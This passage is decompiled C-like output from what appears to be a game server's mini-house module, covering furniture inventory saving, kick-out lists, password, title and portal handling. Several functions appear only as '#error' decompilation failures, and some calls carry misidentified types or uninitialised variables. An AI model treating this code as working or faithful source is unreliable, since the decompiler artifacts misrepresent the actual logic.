**)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v4->gap0[0] + 112))(v4); if ( v6 < nInnerPlayerCount ) { v10 = (int)(v3 + 4); do { v7 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *, int))(*(_DWORD *)&v4->gap0[0] + 104))(v4, v6); v8 = v7; if ( v7 && (unsigned __int8)(*(int (__thiscall **)(int, _DWORD))(*(_DWORD *)v7 + 692))(v7, nFurnitureHnd) == 1 ) { *(_WORD *)v10 = *(_WORD *)(v8 + 4); (*(void (__thiscall **)(int))(*(_DWORD *)v8 + 688))(v8); ++v5; v10 += 2; } ++v6; } while ( v6 < nInnerPlayerCount ); if ( v5 > 0 ) { *((_WORD *)nc + 1) = v5; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 2 * (unsigned __int16)v5 + 4); v14 = 0; ShineObjectClass::ShineObject::so_AllInMap((void *)owner, (int)&alchat, 1); v14 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } } return 1; } //----- (004EAAC0) -------------------------------------------------------- #error "4EAAC0: undefined or illegal type '#331' (funcsize=98)" //----- (004EABE0) -------------------------------------------------------- CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetItemID(ChargedItemEffectDataBox *this, unsigned __int16 itemid) { int v2; // edx@1 int v3; // eax@1 CIDEB_Element *v4; // esi@2 CIDEB_Element *v5; // ecx@2 CIDEB_Element *result; // eax@5 v2 = this->cideb_Total; v3 = 0; if ( v2 <= 0 ) { LABEL_5: result = 0; } else { v4 = this->cideb_Array; v5 = this->cideb_Array; while ( v5->ce_ItemID != itemid ) { ++v3; ++v5; if ( v3 >= v2 ) goto LABEL_5; } result = &v4[v3]; } return result; } //----- (004EAC20) -------------------------------------------------------- MiniHouseEndure *__thiscall MiniHouseEndureDataBox::operator__(MiniHouseEndureDataBox *this, unsigned __int16 sub) { CDataReader::HEAD *v2; // edx@2 char *v3; // ecx@2 MiniHouseEndure *result; // eax@3 if ( sub >= this->mhe_Number ) { result = this->mhe_default; } else { v2 = this->mhe_BinData.baseclass_0.baseclass_0.m_pHead; v3 = (char *)&this->mhe_BinData; if ( sub < v2->nNumOfRecord ) result = (MiniHouseEndure *)CDataReader::GetRecord((CDataReader *)v3, sub); else result = (MiniHouseEndure *)(v3 + 60); } return result; } //----- (004EAC50) -------------------------------------------------------- #error "4EAC50: undefined or illegal type '#331' (funcsize=110)" //----- (004EADC0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SaveMHInven(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_CHAR_ITEM_CMD *ItemCmd, int inventype) { ShineObjectClass::ShineMiniHouse *v3; // esi@1 int v4; // ebp@1 int v5; // edi@2 PROTO_NC_CHAR_ITEM_CMD *v6; // ebx@6 unsigned __int16 v7; // ax@9 int v8; // ebx@9 int v9; // ST04_4@10 DebugLogging *v10; // eax@10 DebugLogging *v11; // eax@10 ChargedEffectContainer *v12; // eax@11 int v13; // eax@13 int v14; // ebx@13 int v15; // edi@14 __int16 v16; // bp@15 int v17; // eax@15 CIDEB_Element *v18; // eax@22 CIDEB_Element *v19; // ebp@22 ShineDateTime *v20; // eax@24 MiniHouseFurniture *v21; // ebp@28 int v22; // edx@36 char *v24; // [sp+4h] [bp-3Ch]@10 FunctionEntarance _; // [sp+18h] [bp-28h]@1 int nEndureGrade; // [sp+1Ch] [bp-24h]@24 int v27; // [sp+20h] [bp-20h]@9 int ibii; // [sp+24h] [bp-1Ch]@11 int v29; // [sp+28h] [bp-18h]@13 int v30; // [sp+2Ch] [bp-14h]@11 int v31; // [sp+3Ch] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "ShineObjectClass::ShineMiniHouse::so_mh_SaveMHInven"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_SaveMHInven"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_SaveMHInven"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = inventype; v31 = 0; switch ( inventype ) { case 3: v5 = (int)&v3->smh_Furniture.FurnitureInven; goto LABEL_6; case 13: v5 = (int)&v3->smh_Furniture.AccessoryInven; goto LABEL_6; case 14: v5 = (int)&v3->smh_Furniture.TileAllInven; goto LABEL_6; case 16: v5 = (int)&v3->smh_Furniture.MiniGameInven; LABEL_6: v6 = ItemCmd; if ( ItemCmd->nPartMark & 1 ) ItemBag::ib_clear((ItemBag *)v5); ItemBag::ib_Initializetotal((ItemBag *)v5, &v6->ItemCmd.numofitem, (PROTO_ITEMPACKET_TOTAL *)&v6[1], v4); if ( !(v6->nPartMark & 2) ) goto LABEL_37; v7 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v3->gap0[0] + 132))(v3); v8 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, v7); v27 = v8; if ( !v8 ) { v9 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v3->gap0[0] + 128))(v3); v10 = DebugLogging::operator<<(&InnerMiniHouseLog, "cannot find player regnum["); v11 = DebugLogging::operator<<(v10, v9); DebugLogging::operator<<(v11, &deb_LF); v31 = -1; v24 = "ShineObjectClass::ShineMiniHouse::so_mh_SaveMHInven"; LABEL_40: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v24); return 0; } v12 = (ChargedEffectContainer *)(*(int (__thiscall **)(int))(*(_DWORD *)v8 + 1156))(v8); ItemBoxIterItem::ItemBoxIterItem((ItemBoxIterItem *)&ibii, (ItemBag *)v5, v12); LOBYTE(v31) = 1; v30 = 0; if ( (unsigned __int8)(*(int (__thiscall **)(int *))ibii)(&ibii) || ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) { do { v13 = (**(int (__stdcall ***)(_DWORD))v29)(v30); v14 = v13; if ( v13 ) { v15 = *(_DWORD *)(v13 + 112); if ( v15 ) { (*(void (__thiscall **)(int, int, _DWORD))(*(_DWORD *)v15 + 116))( v15, v13, v3->smh_Furniture.FurnitureHandle++); v16 = *(_WORD *)(v14 + 8); MoveManager::MoveManager((DiceTaiSai *)&ItemCmd); LOBYTE(v31) = 2; v17 = -1; while ( v17 >= -1 ) { ++v17; ItemCmd = (PROTO_NC_CHAR_ITEM_CMD *)v17; if ( v17 >= minihousefurnituredatabox.cideb_Total ) break; if ( minihousefurnituredatabox.cideb_Array[v17].ce_ItemID == v16 ) goto LABEL_21; } ItemCmd = (PROTO_NC_CHAR_ITEM_CMD *)-10; LABEL_21: if ( ChargedItemEffectFinger::cief_GetFinger((ORErrorMessage *)&ItemCmd) != minihousefurnituredatabox.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { v18 = ChargedItemEffectDataBox::cideb_GetIndex( &minihousefurnituredatabox, (ChargedItemEffectFinger *)&ItemCmd); v19 = v18; if ( v18 ) { if ( v18->ce_Data ) { v20 = (ShineDateTime *)(*(int (__thiscall **)(int, int))(*(_DWORD *)v15 + 120))(v15, v14 + 8); if ( MiniHouseEndureDataBox::mhe_CalEndureGrade( &minihouseenduredatabox, v19->ce_Data->KeepTime_Endure, v20, (MHE_STEP *)&nEndureGrade) ) (*(void (__thiscall **)(int, int, int))(*(_DWORD *)v15 + 132))(v15, v14, nEndureGrade); } } if ( inventype == 16 ) { if ( v19 ) { v21 = v19->ce_Data; if ( v21 ) { if ( v21->GameType == 1 && *(_BYTE *)(v14 + 10) & 1 && ((unsigned __int8)(*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v3->gap0[0] + 532))(v3) == 1 || !(unsigned __int8)(*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *, int))(*(_DWORD *)&v3->gap0[0] + 448))( v3, v14)) ) { LOBYTE(v31) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&ItemCmd); ibii = (int)ItemBoxIterator::_vftable_; v31 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } } } } } LOBYTE(v31) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&ItemCmd); } } } while ( ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ); v8 = v27; } v22 = *(_DWORD *)&v3->gap0[0]; ++v3->smh_Info.CanEnter; (*(void (__thiscall **)(ShineObjectClass::ShineMiniHouse *, int))(v22 + 216))(v3, v8); ibii = (int)ItemBoxIterator::_vftable_; LABEL_37: --funcallanalizer.fca_stackpoint; v31 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_SaveMHInven"); return 1; default: v31 = -1; v24 = "ShineObjectClass::ShineMiniHouse::so_mh_SaveMHInven"; goto LABEL_40; } } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); //----- (004EB140) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_RemoveMH(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 int v2; // eax@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_RemoveMH"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_RemoveMH"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(_DWORD))(*(_DWORD *)&v1->gap0[0] + 828))(v1); v2 = (unsigned __int8)ShineObjectManager::som_FreeObject(&shineobjmanager, *(_WORD *)&v1->gap0[4], 0, 19); if ( !(_BYTE)v2 ) AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMiniHouse::so_mh_RemoveMH : Fail to object free", v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_RemoveMH"); return 1; } //----- (004EB210) -------------------------------------------------------- #error "4EB210: undefined or illegal type '#331' (funcsize=159)" //----- (004EB470) -------------------------------------------------------- #error "4EB470: undefined or illegal type '#331' (funcsize=184)" //----- (004EB710) -------------------------------------------------------- #error "4EB710: undefined or illegal type '#331' (funcsize=205)" //----- (004EB9F0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_KickOut(ShineObjectClass::ShineMiniHouse *this, unsigned int srn) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 int v3; // ecx@1 int v4; // edx@1 int result; // eax@2 signed int v6; // eax@3 int v7; // ecx@4 signed int v8; // eax@8 int v9; // ecx@9 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_KickOut"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_KickOut"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v3 = funcallanalizer.fca_stackpoint++ + 1; LOBYTE(v4) = v2->smh_Info.KickOutPlayerCount; if ( (unsigned __int8)v4 < 0x14u ) { v6 = 5; if ( v2->smh_Info.EnterPlayerCount <= 5u ) { LABEL_7: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_KickOut"); result = 4498; } else { v7 = (int)&v2->smh_Info.EnterPlayerIndex[5]; while ( *(_DWORD *)v7 != srn ) { ++v6; v7 += 4; if ( v6 >= v2->smh_Info.EnterPlayerCount ) goto LABEL_7; } v4 = (unsigned __int8)v4; v8 = 0; if ( (signed int)(unsigned __int8)v4 <= 0 ) { LABEL_12: v2->smh_Info.KickOutPlayerIndex[v4] = srn; ++v2->smh_Info.KickOutPlayerCount; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_KickOut"); result = 4481; } else { v9 = (int)v2->smh_Info.KickOutPlayerIndex; while ( *(_DWORD *)v9 != srn ) { ++v8; v9 += 4; if ( v8 >= v2->smh_Info.KickOutPlayerCount ) goto LABEL_12; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_KickOut"); result = 4496; } } } else { funcallanalizer.fca_stackpoint = v3 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_KickOut"); result = 4495; } return result; } //----- (004EBB80) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_KickOutCancel(ShineObjectClass::ShineMiniHouse *this, unsigned int srn) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 char v3; // cl@1 signed int v4; // eax@1 int v5; // edx@2 int result; // eax@5 char v7; // cl@6 int v8; // ecx@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_KickOutCancel"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_KickOutCancel"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->smh_Info.KickOutPlayerCount; v4 = 0; if ( v3 ) { v5 = (int)v2->smh_Info.KickOutPlayerIndex; while ( srn != *(_DWORD *)v5 ) { ++v4; v5 += 4; if ( v4 >= v2->smh_Info.KickOutPlayerCount ) goto LABEL_5; } v7 = v3 - 1; v2->smh_Info.KickOutPlayerCount = v7; if ( v4 < (unsigned __int8)v7 ) { v8 = (int)&v2->smh_Info.KickOutPlayerIndex[v4]; do { *(_DWORD *)v8 = *(_DWORD *)(v8 + 4); ++v4; v8 += 4; } while ( v4 < v2->smh_Info.KickOutPlayerCount ); } v2->smh_Info.KickOutPlayerIndex[v4] = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_KickOutCancel"); result = 4481; } else { LABEL_5: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_KickOutCancel"); result = 4494; } return result; } //----- (004EBCA0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetMaxPlayer(ShineObjectClass::ShineMiniHouse *this, char NewMaxPlayer) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 int result; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetMaxPlayer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_reSetMaxPlayer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)NewMaxPlayer >= 1u && (unsigned __int8)NewMaxPlayer <= 0x63u ) { if ( v2->smh_Info.EnterPlayerCount <= (unsigned __int8)NewMaxPlayer + 5 ) { v2->smh_Info.MaxPlayer = NewMaxPlayer + 5; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetMaxPlayer"); result = 4481; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetMaxPlayer"); result = 4492; } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetMaxPlayer"); result = 4491; } return result; } //----- (004EBDA0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetPassword(ShineObjectClass::ShineMiniHouse *this, char *NewPassword) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 signed int v3; // ebx@1 int v4; // eax@4 int result; // eax@5 char v6; // bl@9 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetPassword"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_reSetPassword"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; do { if ( !NewPassword[v3] ) break; ++v3; } while ( v3 < 9 ); strncmp(v2->smh_Info.Password, NewPassword, 8u); if ( v4 ) { if ( v3 ) { if ( v3 >= 8 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetPassword"); result = 4490; } else { v6 = v2->smh_Info.isPublic; v2->smh_Info.isPublic = 0; strncpy(v2->smh_Info.Password, NewPassword, 8u); v2->smh_Info.Password[8] = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetPassword"); result = 2 * (v6 != 0) + 4565; } } else { v2->smh_Info.isPublic = 1; v2->smh_Info.Password[0] = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetPassword"); result = 4566; } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetPassword"); result = 4565; } return result; } //----- (004EBF40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SendOutSideTitleCmd(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 char *v2; // ST10_4@1 char *v3; // edi@1 int v4; // ST04_4@1 int v5; // eax@1 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@1 int v7; // [sp+28h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_SendOutSideTitleCmd"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_SendOutSideTitleCmd"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->smh_BriefInfo.bimh_BriefInfo->title; v7 = 0; strncpy(v2, v1->smh_Info.Title, 0x14u); v1->smh_BriefInfo.bimh_BriefInfo->title[20] = 0; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -29647; *((_WORD *)v3 + 1) = *(_WORD *)&v1->gap0[4]; strncpy(v3 + 4, v1->smh_Info.Title, 0x14u); v3[24] = 0; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 25); v4 = *(_DWORD *)&v1->gap0[78]; LOBYTE(v7) = 1; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v5, v4, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v7) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_SendOutSideTitleCmd"); } //----- (004EC060) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetTitle(ShineObjectClass::ShineMiniHouse *this, char *NewTitle) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 signed int v3; // eax@1 char *v4; // eax@12 char v5; // cl@13 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetTitle"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_reSetTitle"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; while ( NewTitle[v3] ) { if ( !NewTitle[v3 + 1] ) { ++v3; break; } if ( !NewTitle[v3 + 2] ) { v3 += 2; break; } v3 += 3; if ( v3 >= 21 ) break; } if ( !v3 ) { v2->smh_Info.Title[0] = 0; LABEL_15: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetTitle"); return 4481; } if ( v3 <= 20 ) { v4 = NewTitle; do { v5 = *v4; v4[(char *)&v2->smh_Info - NewTitle] = *v4; ++v4; } while ( v5 ); v2->smh_Info.Title[20] = 0; goto LABEL_15; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetTitle"); return 4489; } //----- (004EC170) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetItemInfoOpen(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_MODIFY_ITEM_INFO_OPEN_REQ *pReq) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetItemInfoOpen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_reSetItemInfoOpen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->smh_Info.isItemInfoClose = pReq->bItemInfoClose; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetItemInfoOpen"); return 4481; } //----- (004EC1E0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetNotify(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_MODIFY_NOTIFY_REQ *pReq) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 int result; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetNotify"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_reSetNotify"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( pReq->nNotifyLen <= 0x64u ) { strncpy(v2->smh_Info.Notify, &pReq[1].nNotifyLen, pReq->nNotifyLen); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetNotify"); result = 4481; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetNotify"); result = 6600; } return result; } //----- (004EC2C0) -------------------------------------------------------- #error "4EC2C0: undefined or illegal type '#331' (funcsize=78)" //----- (004EC3F0) -------------------------------------------------------- #error "4EC3F0: undefined or illegal type '#331' (funcsize=89)" //----- (004EC530) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_MH_SendFunitureInfoStart(void *this, void *a2) { void *v2; // esi@1 int v3; // edi@3 int v4; // eax@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_MH_SendFunitureInfoStart"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_MH_SendFunitureInfoStart"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 176))(v2) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_MH_SendFunitureInfoStart"); } else { v3 = unk_608490; if ( (unsigned __int8)(*(int (__thiscall **)(void *, void *, signed int, signed int, _DWORD, unsigned int, signed int, signed int, _DWORD, signed int))(*(_DWORD *)a2 + 1528))( a2, a2, 290, 1, unk_608490, clockwatch.cw_CurrTick, 420000000, -1, 0, 9) ) { ShineObjectClass::ShineObject::so_AbnormalState_BitSet(a2, *(_DWORD *)(*(_DWORD *)v3 + 34)); v4 = *(_DWORD *)(v3 + 44); if ( v4 ) { (*(void (__thiscall **)(void *, _DWORD, _DWORD, signed int))(*(_DWORD *)a2 + 992))( a2, *(_DWORD *)(*(_DWORD *)v3 + 34), *(_DWORD *)(v4 + 43), 1); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( a2, *(_DWORD *)(*(_DWORD *)v3 + 34), *(_DWORD *)(*(_DWORD *)(v3 + 44) + 43), 1); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_MH_SendFunitureInfoStart"); } } //----- (004EC670) -------------------------------------------------------- #error "4EC670: undefined or illegal type '#440' (funcsize=641)" //----- (004ED090) -------------------------------------------------------- #error "4ED090: undefined or illegal type '#440' (funcsize=427)" //----- (004ED700) -------------------------------------------------------- #error "4ED700: undefined or illegal type '#331' (funcsize=450)" //----- (004EDE30) -------------------------------------------------------- #error "4EDE30: undefined or illegal type '#331' (funcsize=588)" //----- (004EE6F0) -------------------------------------------------------- #error "4EE6F0: undefined or illegal type '#331' (funcsize=250)" //----- (004EEA60) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_mh_GetItemCellByFurnitureHandle(__int16 FurnitureHandle) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mh_GetItemCellByFurnitureHandle"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mh_GetItemCellByFurnitureHandle"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mh_GetItemCellByFurnitureHandle"); return 0; } //----- (004EEAB0) -------------------------------------------------------- #error "4EEAB0: undefined or illegal type '#331' (funcsize=118)" //----- (004EEC70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetPortalList(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_DB_PORTAL_LIST_ACK *portal_list_ack) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 unsigned __int16 v3; // ax@1 signed int v4; // edx@1 int v5; // ecx@2 char *v6; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_SetPortalList"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_SetPortalList"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = portal_list_ack->nPortalCnt; v4 = 0; v2->smh_PortalList.nPortalCnt = v3; if ( v3 ) { v5 = (int)&v2->smh_PortalList.Portal[0].dEndTime; v6 = (char *)&portal_list_ack[1].header.charregistnumber; do { *(_WORD *)(v5 - 2) = *((_WORD *)v6 - 1); *(_DWORD *)v5 = *(_DWORD *)v6; ++v4; v6 += 6; v5 += 6; } while ( v4 < v2->smh_PortalList.nPortalCnt ); } ++v2->smh_Info.CanEnter; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_SetPortalList"); } //----- (004EED20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_AddPortal(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_DB_PORTAL_ADD_ACK *portal_add_ack) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 int v3; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_AddPortal"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_AddPortal"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->smh_PortalList.nPortalCnt; if ( v3 + 1 <= 50 ) { *(_WORD *)&v2->gap0[2 * (3 * v3 + 24579)] = portal_add_ack->nPortalItemID; v2->smh_PortalList.Portal[v2->smh_PortalList.nPortalCnt++].dEndTime = portal_add_ack->dEndDate; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_AddPortal"); } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_AddPortal"); } } //----- (004EEE00) 